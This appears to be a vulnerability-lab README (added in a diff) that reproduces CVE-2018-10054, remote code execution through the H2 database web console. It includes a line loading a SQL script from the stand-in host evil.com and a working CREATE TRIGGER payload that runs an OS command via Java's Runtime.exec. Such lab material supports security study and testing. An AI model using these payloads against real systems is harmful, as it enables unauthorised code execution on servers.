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h2database/CVE-2018-10054/README.md

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+# H2 Database Web Console Authentication Remote Code Execution (CVE-2018-10054)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+H2 database is a fast, open-source Java-based relational database management system (RDBMS) that can be used in both embedded (within a Java application) and client-server modes.
+
+Springboot with h2 database comes with a web management page if you set the following options:
+
+```
+spring.h2.console.enabled=true
+spring.h2.console.settings.web-allow-others=true
+```
+
+H2 Database versions prior to 1.4.198 allow any user to access the web management page by creating a new database file or connecting to an in-memory database. After authentication, an arbitrary code can be executed by one of the following commands:
+
+- `RUNSCRIPT FROM 'http://evil.com/script.sql'`
+- `CREATE ALIAS func AS code...; CALL func ...`
+- `CREATE TRIGGER ... AS code...`
+
+References:
+
+- <https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html>
+- <https://www.exploit-db.com/exploits/45506>
+- <https://github.com/h2database/h2database/issues/1225>
+- <https://github.com/h2database/h2database/pull/1580>
+- <https://github.com/h2database/h2database/pull/1726>
+
+## Setup
+
+Start a spring-boot with h2 database 1.4.197:
+
+```
+docker compose up -d
+```
+
+After started the container, the spring-boot is listening on `http://your-ip:8080`, the management page is `http://your-ip:8080/h2-console/` by default.
+
+## Vulnerability Reproduce
+
+First, login the H2 web console by connecting to the in-memory database:
+
+```
+jdbc:h2:mem:test
+```
+
+![](1.png)
+
+Then, execute the following commands to execute the `id` command:
+
+```sql
+CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
+    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
+    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
+    throw new java.lang.Exception(scanner.next())
+$$;
+```
+
+As you can see, the `id` command is executed successfully and the result is raised as an exception.
+
+![](2.png)